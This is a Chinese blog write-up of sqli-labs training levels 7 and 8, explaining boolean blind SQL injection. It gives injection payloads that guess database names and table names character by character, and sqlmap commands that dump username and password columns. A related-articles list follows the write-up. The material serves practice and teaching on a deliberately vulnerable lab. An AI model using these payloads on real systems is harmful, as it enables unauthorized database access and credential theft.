当前位置: 首页 > news >正文

sqli-labs靶场通关笔记:第7-8关 布尔盲注

第七关

1.审题

这里判断出是'))闭合,但是页面只有正确和错误的回显状态,报错的回显也是固定的,没有显示报错具体信息。

这关使用的方法是布尔盲注。为什么叫布尔盲注?因为它返回的结果只有true和false 两个值,攻击者需要通过返回的布尔值去猜测结果,就像盲人一样。

2.思考

(1)猜长度

length()函数是计算字符串长度,先构造一个简单的语句。

//判断当前数据库名的字符串长度是否大于10;
?id=1')) and length(database()) > 10 --+

通过页面回显,可以判断数据库名称长度大于5但是小于10,利用二分法最后猜测出数据库名的长为8个字符。

已经知道了数据库名的长,假设再去猜测每一位上的字符,是不是就可以得到数据库名称。

(2)猜位的字符

substr()函数作用是截取指定位置的字符,ascii()函数作用是返回字符的ascii码值(0-255范围的整数)。

//判断数据库名称的第一位字符是否在大写字母范围内;
?id=1')) and ascii(substr(database(),1,1)) between 65 and 90--+

虽然ascii码的值是从0-255,但字母A-Z的范围是65-90,a-z范围是97-122。首先判断字符是不是字母,然后进一步缩小猜测范围。

这里判断出第一位字符是小写字母,再利用二分法猜测具体字母,最后得出首字符是s。

那么通过逐步猜测,就可以拿到数据库的名称。再结合limit()函数去枚举数据库下的表名,字段,最后拿到想要的数据。

//查询当前数据库下第一张表的首位字符是否为小写字母;
?id=1')) and 
ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)
) 
between 97 and 122 --+

3.做法

(1)手工注入

根据思考的逻辑去逐步猜测数据。

(2)工具注入

 sqlmap的简单使用

//查询数据库

sqlmap -u 'http://xx.xx.xx/?id=1' --dbs

//查询指定数据库security中的表

sqlmap -u 'http://xx.xx.xx/?id=1' -D'security' --tables

//查询指定表users中的字段

sqlmap -u 'http://xx.xx.xx/?id=1' -D'security' -T'users' --columns

//查询指定字段的数据

sqlmap -u 'http://xx.xx.xx/?id=1' -D'security' -T'users'  -C'username,password' --dump

 

第8关

这里也只有两种页面显示,图二没有任何回显,但可以理解为报错,实际上这关把输出报错的代码注释掉了。

判断出是单引号闭合,利用布尔盲注解题。

http://www.dtcms.com/a/275437.html

相关文章:

  • Gemini CLI 代理问题解决[API Error: exception TypeError: fetch failed sending request]
  • 【Linux-云原生-笔记】数据库操作基础
  • 【机器学习|学习笔记】详解决策树CART算法,并对比ID3 C4.5和CART算法
  • 系统分析师-计算机系统-计算机系统概述存储系统
  • 内网穿透系列九:开源的网络穿透与组网工具 EasyTier,支持多种数据传输通道,去中心化,兼具高效与安全
  • 【Java八股文总结 — 包学会】(二)计算机网络
  • PyTorch的计算图是什么?为什么绘图前要detach?
  • 【设计模式】单例模式 饿汉式单例与懒汉式单例
  • 人工智能自动化编程:传统软件开发vs AI驱动开发对比分析
  • 云原生技术与应用-生产环境构建高可用Harbor私有镜像仓库
  • ​BRPC核心架构解析:高并发RPC框架的设计哲学
  • Whistle抓包
  • 【设计模式】桥接模式(柄体模式,接口模式)
  • 为什么有些PDF无法复制文字?原理分析与解决方案
  • Oxygen XML Editor 26.0编辑器
  • 闲庭信步使用图像验证平台加速FPGA的开发:第十课——图像gamma矫正的FPGA实现
  • 定长子串中元音的最大数目
  • 大数据在UI前端的应用深化研究:用户行为数据的时序模式挖掘
  • 基于开源AI智能名片链动2+1模式S2B2C商城小程序的营销直播质量提升策略研究
  • 【世纪龙科技】新能源汽车结构原理体感教学软件-比亚迪E5
  • HTTP 状态码详解
  • Apache HTTP Server 从安装到配置
  • 使用python 实现一个http server
  • 搭建云手机教程
  • 力扣面试150题--括号生成
  • S7-200 SMART CPU 密码清除全指南:从已知密码到忘记密码的解决方法
  • AI产品经理面试宝典第11天:传统软件流程解析与AI产品创新对比面试题与答法
  • MongoDB数据库入门到集群部署企业级实战
  • linux使用lsof恢复误删的nginx日志文件——筑梦之路
  • (C++)STL:list认识与使用全解析